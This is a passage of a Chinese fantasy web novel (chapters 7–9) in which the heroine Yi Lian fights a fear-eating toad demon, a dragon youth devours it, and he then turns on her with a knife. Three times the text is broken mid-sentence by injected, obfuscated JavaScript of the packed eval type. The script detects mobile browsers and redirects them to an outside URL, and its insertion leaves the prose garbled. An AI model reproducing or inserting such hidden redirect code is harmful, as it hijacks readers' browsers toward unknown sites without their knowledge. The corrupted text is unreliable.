伊莲膀子都砸累了，揉揉手腕继续砸，隔壁吵的激烈的李老爷和李夫人丝毫没有察觉。 “你个毒妇，你生下孽种不说，还用她偷换念儿的女儿！娼妇！” “你休想污蔑我！我是睡男人不错，但我怎么可能偷换兰兰！” 李夫人和李老爷被关在石室中已经不知多久，两个情绪崩溃，面临死亡的人撕下平日相敬如宾的面具，此刻正用最恶毒的话语诅咒着对方。 “你说，念儿是谁的孩子，是不是也是你和野男人生的！你个贱人，你究竟生了多少杂种？你说，你说！” 二人歇斯底里，到最后演变为打架，伊莲只听到沉闷的碰撞声。等到她砸穿这面墙，见到的是满头是血的李老爷和遍体鳞伤的李夫人。 李老爷彻底昏厥过去，李夫人靠着一面墙，眼皮耷拉着，不知道是死是活。 伊莲没管这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648648|156580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人，继续砸，她推测这些石室一间连着一间，只要继续砸，总能找到它关着廖舒情的房间。 突然，正当她砸得起劲时，整个石室摇晃起来，似乎是要坍塌。 “纳命来！”在逼仄的石室中，廖舒情清脆的声音回荡开来，接着又是一阵地动山摇，石壁的碎石纷纷掉落，伊莲眯着眼躲开那些落灰，继续猛砸。 不过现在这面墙非常难砸，伊莲使出浑身解数，居然还是纹丝不动。 她意识到，这面墙里可能有秘密。看着为数不多的灵石，她咬咬牙，用完就真的没有了，在灵气稀薄的俗世，接下来她就和凡人无异了。 拼了。 她握住最后一把灵石，灵气顺着她的经络被她传送到千斤锤上，锤子变大了几倍，她狠吸一口气，退后几步一个助跑跳跃，锤面击打石壁瞬间产生的能量几乎把她弹飞出去。 轰然一声，整个石壁坍塌。 “不好！”正和廖舒情打斗的蟾蜍感应到这里的动静，想脱身离开。 “哥哥，拦住它！”廖舒情大叫，廖舒意拔出佩剑，银白色的剑锋出鞘时在空中划出一道道虚影。 “小莲儿，你快些！”虽然不知道这蟾蜍急什么，但是现在必定是伊莲的行动干扰了这只蟾蜍。 伊莲应了一声，进入石壁，一眼就看到漂浮在空中的李念。 她神色平静，双手交握在腹部，似乎睡着了一样。在她的背部，有几十条舌头一样的长肉条，连接着李念和石室中央的一颗珠子，舌头贪婪地吮吸着李念，随着它们的动作，李念的脸色愈发苍白，而那颗本是灰白的珠子，愈加黑暗。 伊莲刚刚一直在想，蟾蜍说的“果子成熟”是什么，现在看来，想必就是这颗珠子。 她喜不自禁，举起千斤锤，咬牙恶狠狠砸向漆黑的珠子。 “休想！”千钧一发之际，那气急败坏的蟾蜍现身，舌头一卷，把伊莲吞入腹中。 死亡的恐惧一瞬间攫住伊莲。 7. 第 7 章 “小莲儿！”廖舒情和她哥哥追过来时，只看到伊莲被这只蟾蜍吞入腹中。 廖舒情以为伊莲已死，勃然大怒，浑身散发着一股乖张暴戾的气息。在这种疯狂下，她一拍灵宠袋，一只螃蟹出现，在灵气的催动下，小小的螃蟹越来越大，最后它的身形挤满整个石室，坚固的蟹身还在扩大，石室隐隐约约有挤压倒塌的迹象。 蟾蜍见势不妙，撤掉自己的结界，避免石室被毁。 瞬息之间，几人重新回到李宅府邸，那刚刚困住自己的石室消失不见。若非空气中涟漪的波动，以及消失的伊莲，廖舒意还会以为刚刚是自己的一场梦。 蟾蜍自知低估了对手，决心躲回自己的地盘。 悬浮在空中的它身形一晃，眼见就要消失。 “哪里跑！” 廖舒情催动着灵宠，庞大的螃蟹伸出坚硬冰冷的蟹钳，那其中蕴含的力道，令蟾蜍心惊肉跳。它堪堪躲开，巨大的蟹钳带起凌厉的风，将一半的李宅屋顶掀飞，到处是碎石瓦砾，漫天灰尘。 蟾蜍只想躲起来，然而廖舒情不会给它这个机会。 眼见螃蟹过于巨大，导致动作有些迟缓，她连忙操控灵宠，变得和蟾蜍一样大。橙色的螃蟹眼珠一转，举起两只蟹钳再度朝蟾蜍攻击。 蟾蜍浑身抖动着，突然表皮凸起的疙瘩里喷出浓白腥臭的汁液，和利箭一样，唰的一下朝四面八方飞射。 螃蟹的一只眼睛被毒汁糊住，眼球被灼烧，散发着一缕缕白烟。它有些犹豫，哒哒哒地往后退。 廖舒情也因躲闪不及时，被毒汁溅到，霎时皮肤焦黑一大片。然而她就跟没事人一般，恶狠狠地盯着蟾蜍，眼见自己的灵宠有退缩之意，她眼睛危险地眯起，脚一蹬来到空中。 戒律鞭甩动而发出的爆破音令蟾蜍心悸，它飞快地朝右边移动着，然而廖舒意持剑挡住了它的去路。 它刚刚才领略过他的剑法，立即调转方向。上面是即将甩到身上的戒律鞭，左边是越来越近的大钳子，它朝无人看守的哪个方向飞去。它感知到自己的果子已经成熟，一阵大喜，这样自己打开结界就不必像之前那样麻烦，想到此，结界出现，一个小小的洞悬浮在空中。 它一头钻进结界之中，然而在洞变小消失的那一片刻，一只蟹钳钳住了蟾蜍的一条腿，廖舒情紧随其后，随着螃蟹一同再度来到石室中。 “情情！”廖舒意焦急地喊她，然而已经晚了，结界消失不见。 廖舒情进入石室后，余光瞄到一个黑黝黝的珠子，那珠子给人的感觉十分不详，于是直奔那个连接着李念的珠子，蟾蜍被螃蟹钳住动弹不得，眼见她要毁掉自己几年的心血，睚眦欲裂，面目狰狞，“你敢！” 它嘴一张，那颗珠子擦过廖舒情的手，被它吸入腹中。与此同时，锋利的蟹钳在刚刚它的分心之中，钳掉了它的一只腿。 它痛苦大叫起来，气急败坏地打滚，“你们……你们！都要死！”它摆脱掉螃蟹，进入别的石室中，快速打坐，准备吸收这颗珠子。 * 伊莲被吞入腹中后，本以为自己必死无疑，内心百般后悔，不料她被吞进一个黑乎乎的洞里，安然无恙地待在原地。 她完全不知道现在是什么状况，乾坤袋被压制，她无法打开，连照明都做不到。 这是在哪里？它的胃吗？ 伊莲徒手锤这个肉做的洞，黏腻的液体从洞壁上滑下，洞道呼吸蠕动着。伊莲一阵恶寒，突然，她头顶一凉，一个圆滚滚的东西掉在她的头上，还散发着幽幽光芒。 伊莲认出，这是刚刚的那颗黑珠子，不由大喜，准备一脚踩碎它。 “去死！”她听到蟾蜍大叫，紧接着，这条洞道剧烈地收缩起来，毒汁就和夏季里的暴雨一样灌入，伊莲的衣裳被腐蚀着燃烧起来，散发着难闻的气味。 要死一起死！ 眼看洞道即将把她挤成肉饼，她心一狠，一脚踩上去。 哧溜一下，那珠子在她脚底溜走，而她，也摔得狗吃屎。后背也因为接触到汁液，疼痛难耐。 那珠子迅速游走，伊莲不敢耽搁，一个飞扑抓住它。 “你敢挤死我，我就把它吃了！” 她举起珠子威胁道。 那收缩翻涌的洞道果真停下了，不过随后蟾蜍阴恻恻地笑起来，“吃吧，吃吧，看你会不会爆体而亡。” 伊莲拿不定主意，她自然知道这不是好东西，光是拿着它，就让她异常恐惧惊慌。 就在她犹豫的当下，那洞道里伸出十几根肉做的触手，劈头盖脸地朝伊莲劈去。伊莲被打倒在里面乱作一团时，她一鼓作气把珠子放到嘴里。 吃下去，她不敢，但这个洞道里，没有可以毁坏它的工具。 她也不确定自己能不能咬碎这个珠子，可能会坚硬无比吧。 “大胆！”那蟾蜍一惊，伊莲感觉一根触手朝自己脸狠狠抽来，那蟾蜍也来到洞道里现出真身，与她抢夺珠子。 伊莲被抽得在空中飞起，珠子也掉在地上，她感觉嘴里一股血腥味，顿时怒从心头起。 她挣扎着起来，使出多年未用的体术，赤手空拳和这只蟾蜍打起来。 一人一蟾蜍打得火热，蟾蜍越打越心急，它少了一只腿，此刻真身在外面，还有个虎视眈眈随时会出现的廖舒情。现在识海内还有这么一个难缠的人修，它真是大为恼火。 可恶的人修，就不能晚来一天！只要一天，它就能吸收掉这个珠子，届时它将是雾城最强大的存在！ 成为最强是它毕生追求，它几乎要疯魔。 和伊莲纠缠打斗中，它感知到廖舒情在肆意地破坏它的石室，离它的真身越来越近，它决定不管了，即刻吸收掉这个珠子！ 它一把将珠子吸入腹中，开始打坐吸收。 吸收是个漫长的过程，它逼不得已这么做，洞道里的肉翻滚，将它包围起来保护在其中。 伊莲无法靠近。 现在唯一的好处是，这个洞道安静了下来，也能看见一点微光。 她本想着或许要大战三百回合，但是这只臭蟾蜍自顾自地打坐，丝毫不理她。伊莲无奈，想着去攻击蟾蜍，但是却不能近身。她百无聊赖地闲逛起来。 走到洞道的中央，她看到了一堆杂物，她随意翻阅，居然发现了好几个弟子令牌。有各个家族和宗门的，其中，还有一个叫温萍的，隶属于慕道仙宗的外门弟子令牌。 伊莲唏嘘不已，把所有的令牌全部装在身上，接着翻找。在这堆杂物里藏得最深的是一个黑色的小盒子。 上面有一把破旧不堪的锁，伊莲很轻松地打开，映入眼帘的居然是一本残破的书籍。 伊莲大吃一惊，没想到这个看起来和文化完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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虽然是有惊无险，但她还是觉得匪夷所思。一般藏书阁的功法，有的被玉简雕刻，也有的以卷轴的形式出现，通常外人需要主动注入灵力，才能领略其中奥秘。这本功法居然是主动拉人进入。 真邪门。 她虽然没能见到其中的秘法，但是脑子里多了许多残念，让她大概明白了这只蟾蜍是如何修行的。 它的确是以恐惧为食，不过并非它说的从不伤人。 每每入梦作恶，被噩梦纠缠的人就是一颗果实。 等到入梦之人再也承受不住，就是果实成熟之际，它便可以采摘果实，将沾满了恐惧与鲜血的果实吸收，修为便可提升。 李念，就是那颗果子。 她昨晚大抵是再度入梦，那个梦中女童碰到了她。 这种心理暗示是恐怖的，她彻底崩溃，陷入昏厥之中，成为一颗成熟的果子。 伊莲很后悔，昨日她们三人过于相信了这只蟾蜍，导致李念入梦，也害得自己深入险境。 真该死，她越想越冒火，踹了被包起来的蟾蜍一脚。 蟾蜍突然惨叫。 伊莲还以为自己脚力见长，想着再来几脚，就见蟾蜍睁开眼，包围它的触手离开，此刻它形容恐怖，嘴鼻流血，怒道：“找死！” 说话间，它的双后肢消失，不过片刻，它变成了一条腿的蟾蜍。 8. 第 8 章 廖舒情找到了它的藏身之地，毁坏了它的真身。 蟾蜍神识回到真身，心念电转间，所有在石室的人全部被丢出结界，包括伊莲。 夜深人静的东市，李家已经化为残垣断壁，天空中开始飘起细雨，渐渐地，雨越来越大，雾气也愈发浓重。 伊莲砸到废墟上，激起一阵尘土。她起身去寻廖家两兄妹，就见廖舒情两只眼睛血红，形容隐隐有癫狂之色。她丢下戒律鞭，接过哥哥递给她的剑，让他闪开。 廖舒意担忧地站在后方。 在他们面前，悬浮着两只巨大的红色灯笼，不过离远了看，那分明是两只眼睛！那蟾蜍吸收果实后，变得巨大无比，如同一座小山般。 蟾蜍怒吼着，新生出来的一只脚掌从天而降，在它的对面，巨型螃蟹伸出钳子。 两个庞然大物的相撞，激起层层叠叠的残石。 廖舒意不期看到平安无事的伊莲，不由大喜，问道：“伊道友，你可还有灵石？”兄妹两都没有灵石，此刻不过是在硬撑。 伊莲摇头，廖舒意失望又焦虑地望向妹妹。 那是他的本命剑，本命剑只听命于主人，旁人若想强行用，只会伤到自己。妹妹虽然身手强悍，修为了得，却还没有自己的本命剑，因此，她总是不服，要借他的剑一用。 廖舒意很怕他的本命剑会伤害到她，他无法控制，幸而次次都是有惊无险。这次他们二人也是没办法了，其他法器都不能用，只有本命剑，还可以撑一会儿。 在滂沱的暴雨中，廖舒情来到和螃蟹纠缠的蟾蜍身后，祭出泛着寒光的青水剑，往下一劈。 轰然一声，巨大的蟾蜍头几乎被砍掉一半，鲜血如瀑。 那蟾蜍发出一声悲鸣，一拳抓住螃蟹的钳子，硬生生将其扯断。在廖舒情第二次挥剑时，它直接举起巨大的蟹钳挡住这一击。强大的剑气四散，伊莲和廖舒意被吹得远离东市。 在蟹钳开裂的那一刹，蟾蜍压过剑气，一拳轰在廖舒情身上。 一身水蓝的廖舒情就和断线的风筝一样缓缓下坠。 “情情！”廖舒意睚眦欲裂，跑过去就要拼命。伊莲毫无头绪，紧张又无奈，打算逃走。 留得青山在，不愁没柴烧，现在死了，可真的什么都没了。等她回去找救兵报仇雪恨！ 但是看着廖舒情下落的身影，又想到她捡到的那些令牌，跑到一半她蓦地停下步子。 “李金金！” 她闭了闭眼，突然大吼，举起右手刚刚戴上的宠链。即便是在漆黑幽冷的雨夜，宠链依然散发着光芒。 红色如灯笼般的眼睛转动，本欲想一脚踩死廖家兄妹的蟾蜍恍惚了一下。 就是这一下恍惚，令它勃然大怒，它丢下两兄妹，眨眼间臃肿巨大的身形来到伊莲跟前。 迎接她的，是巨大的脚掌。 她的身影那么小，小到几乎要站不稳，完全落在了脚掌的阴影里。 “小莲儿！”身受重伤的廖舒情怒吼，悲痛又哀伤。 “伊道友。”廖舒意的声音。 脚掌离她越来越近，她往外跑，但是怎么都跑不出那个范围。 落在身上的雨停了，迎面的风却越来越大，她知道，那是蟾蜍的脚掌近在咫尺。 她一瞬间后悔了，走马观花地想了许多，如果有下辈子，一定要让她吃一顿最爱的涮火锅！ 就在千钧一发之际。 “废物。” 她突然听到一道细小的，却又充满不屑的嘲讽。 话音一落，从天际初传来一阵阵嘶吼，它属于强大而未知的存在。 狂风暴雨之间，巨大的黑龙撕开云雾，在蟾蜍想要逃走之际，漆黑强壮的龙爪轻巧地按住了它。 龙爪锋利无比，蕴含着巨大的能量。 被按到地面的那一刻，蟾蜍全身痉挛，鲜血直流，粗厚的皮肤被撕裂，浓白的毒汁流淌一地。 龙族低头，鼻尖翕动，在考量什么。很快，它嫌弃地把这只蟾蜍吃了下去。 一口吞掉后，强悍到令人不可直视的龙眼 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对于江黎是龙族，她是半信半疑。 突然，她想起什么，一把上前激动道：“你既然真的是龙族，那你肯定很有钱，一定不要忘记我们的承诺啊！” 江黎见她对自己龙族的身份并不激动，反而对财宝感兴趣，顿时黑脸。 突然。 “呕！” 江黎弯腰喷射性呕吐。 伊莲被吓一跳，跑过去摸他的脑袋：“是不是还在发烧？” 江黎推开她，继续狂吐不止，片刻后白着一张小脸。 “我吃坏肚子了。” 伊莲急道：“是那些包子的问题吗？我们还是去看大夫吧。” 江黎继续吐，伊莲怀疑他要把前些年吃的饭都要吐出来。 过了好一会儿，江黎吐出一只几乎被剥了皮的蟾蜍出来。 9. 第 9 章 那只差点被吞掉炼化的蟾蜍还剩一口气吊着，伊莲从残垣断壁之中找到一个菜篮子，把它装进去拿一块布盖着。 暴雨渐渐转为淅淅沥沥的小雨。 东市的人家陆陆续续醒来，惊恐地发现自己家门被毁，一时之间哭的哭，喊得喊，还以为是天罚。不过也有些理智的，跑去衙门报官。 李家只有李老爷等三人，其余仆役不知所踪。李夫人抱着毫无意识的李念，哀痛悲愤。 “念儿，念儿！你醒醒啊。”其余的街坊去拉她，他们断定李念已经死了，劝她节哀。 李夫人扯开他们，披头散发地守在李念身边，双手紧紧地握着她的手，一个劲的摇头，“不，没有死，没有……” 伊莲几人也不知道该如何处理这乱摊子，几个人又饿又困，还身负重伤，索性都悄悄溜走。 廖家兄妹之间有秘法，伊莲并不是很担心，江黎从一开始就貌似身受重伤但还能苟一阵子，现在伤的最重的反而是伊莲自己。她花大价钱烧水沐浴，背部的腐蚀伤最严重，幸而她有一瓶伤药。 只是难以给自己敷药，她把瓶子塞到江黎手中，一双水汪汪的眼睛瞪着他。 江黎冷笑：“怎么，现在有求于人了？” 这种臭屁的样子实在是太欠揍，不过他说的的确对，现在就是有求于他，还不能翻脸。 “师弟，你就帮帮师姐，难道你忍心像花一样的师姐被摧残吗？” 江黎歪歪头，露出和煦的笑，“你转过身去。” 伊莲乖乖听话，突然，她的背部传来一阵钻心的痛。 似是利刃划开皮肤，在腐肉里搅动切割，简直痛彻心扉，冷汗霎时伊莲布满全身。 她不可思议地扭头，就见江黎手上拿的压根不是她的药，是一把匕首。 “你？”伊莲被震惊得说不出话来，因为疼痛，眼泪控制不住地滴下。 “你刚刚在做什么？”她忍住那股锥心之痛，终于说出一句完整的话。 江黎还是那个样子，他一只手撑着脑袋，一只手把玩着匕首，在伊莲越来越冰冷的目光下，缓缓抬头，语气森然：“这是之前你绑我的代价。” “你在说什么！那件事不是过去了吗？我只是绑了你一晚而已，那是为你的安全着想！”若非他说，她都快忘了这件事。 “若你真的耿耿于怀，你大可直接说出来，有必要学那小人做派，在我受伤需要你的帮助时偷袭我吗？你这个无耻小人！”伊莲的背部被捅了一刀，鲜血哗哗地往下流，她越说越激动，上前去打他。 匕首寒光在她眼眸中一闪而过，等她反应过来时，那把匕首已经贴着她的脖颈。 它很轻地贴在她的肌肤之上，却又似有千斤之重。 江黎已经完完全全地变了个人，不知道是不是今天完全显现真身的缘故。他的瞳孔黑黝黝的，隐隐泛着疯狂的血红色。 “伊莲，我警告你，不要再试图掌控我，不要再以师姐自居。与我而言，你不过是一个低贱的人族。” 伊莲心乱如麻，明明前几天他还只是一个小屁孩的模样，但是现在，他分明就是一个十恶不赦的魔头。 未来，他不仅成为男女主路上最大的绊脚石，还成为了整个修仙界的噩梦。 现如今虽然年幼，然而已经可以预见他的未来，必定是疯狂和杀戮。 他的转变再次让伊莲痛苦地回想那本书。 一个荒诞的世界。 她一直努力地把那本书和现实世界分开，不想因为未经证实的故事就过于恐惧，然而他的一番话就如当头一棒。 书里的江黎，日天日地，诡谲多变，杀人如麻。 就是这样的，明明她觉得二人之间相处的很好，熟不知她已经被记恨上。刚刚她那么信任他，他若想，直接杀了她也是可以做到的。 一想到自己刚刚从死亡线上游走一圈，她惊得吞吞口水，没有再去和就江黎争辩。 她此时再去看江黎，就见朦胧的烛光下，他形容外貌异常恐怖，浑身散发着冰冷的气息。 甫一接触到他的视线，她慌忙低头。 “我……我知道了。”她委屈讨好地说，现在还不是撕破脸的时候。 江黎把匕首撤掉，大概是觉得无聊，他从篮子里取出那只蟾蜍，摆弄着它。 伊莲被蟾蜍的惨叫声叫得心慌，退出房也不管钱财所剩不多，开了另一间房。 一夜无眠。 第二日伊莲被廖舒情强行拉去了李家，她顶着一双浓重的黑眼圈，有点无奈，“我听闻，那李夫人并不承认自己偷换了孩子。” 经过昨晚一役，她什么家族秘辛都不想了解，倒是廖舒情，兴致勃勃。 “小莲儿，如果不是她，那肯定就是那只蟾蜍搞的鬼，我们有义务要把被偷换的那个孩子找回来。” 二人来到一片废墟之中，几经打听，了解到李家三口人都被安排在附近尚未毁坏的一家客栈里。 等到二人赶去，就见几个大夫背着药篓从二楼秉手离开，李夫人在后面相送。 “几位大人……”看到伊莲二人，她瑟缩着，不知道如何是好。 衙门的人昨夜连夜问话，她没敢说是因为她们家有妖孽造成，否则，这整个东市，不得撕了她。这几个人可别跳出来说出实情。 “我问你，究竟是谁替换的孩子。”二人被迎进屋里，就见李老爷在最里侧昏睡着。 而李念，居然醒着，好好地坐在梳妆台边，照着镜子。 伊莲啧啧称奇。 “不是我！”李夫人还以为他们所为何事，没想到又是这个，又气又怒只能强行忍着；“天下哪有不爱孩子的母亲，我就是再丧心病狂，也不可能拿念儿的孩子换我的孩子呀！而且，兰兰就是我的孙女，一直都是，哪来的换子一说。” 廖舒情：“那你的孩子呢？” 李夫人冷着脸：“当年我生下那个孩子没几日，就被人偷走了，找也找不回。” 由此基本可以断定就是那只蟾蜍搞的鬼，孩子的下落，也只能问它了。 廖舒情打算离开，却见伊莲跟勾了魂一样走到李念身边。 “怎么了？”廖舒情问。 伊莲：“她不正常。” 李夫人见二人注意到李念，怕她们对李念做什么，连忙站到她面前挡着二人。 “念儿只是被吓丢了魂，我正准备去找寺庙高僧给她‘叫魂’。” 李念虽然睁着眼睛，却如行尸走肉，不言不语，没有任何情绪，呆呆地坐在角落里。 * 伊莲和廖舒情商量过后决定一起把在江黎手里的蟾蜍要过来，问它如何能解决李念的情况。 二人来到客栈，脚还没踏进，就见廖舒意魂不守舍地守在门口，廖舒情拉下脸去，神色不善地张望四周：“他来了？” 廖舒意点点头。 廖舒情冷哼一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“杀了我。”那蟾蜍突然说出这一句完整的话，伊莲震惊之余，连连摇头。 “杀了我。”那蟾蜍突然厉声尖叫。 …… 虽然伊莲并不应该对蟾蜍抱有怜悯之心，毕竟它昨天还想着杀掉她们，但是最后，她还是送它一个痛快。 江黎所为，实非正统修士能干出的，更像是一个邪修。 晚饭后伊莲躺在自个房间里休息，房门突然被推开，江黎无所事事地走进来，他看着桌上蟾蜍的尸体，嗤笑一声。 “问出来了吗？李家的事。” 伊莲十分困顿，强行撑着眼皮有一搭没一搭，“没有，李夫人说她没有换孩子，孩子丢了。李金金也说它没有。要么这李家有鬼，鬼偷偷换了孩子，要么就是永远的一个未解之谜了。” 江黎讽笑：“我竟不知，你还信鬼神之说。”鬼神都存在，但是俗世的鬼神和修士眼里的鬼神并不相同。 伊莲无奈道：“那你说是什么。” 江黎：“李念换的。” 伊莲蹭地一下坐起来，蹙眉道：“不可能！李夫人怀孕所有人都不知道！而且，她有毛病要把自己的孩子换成自己的妹妹啊！” 江黎“最不可能的就偏偏是最可能的。” “你净瞎说，我不跟你说话。”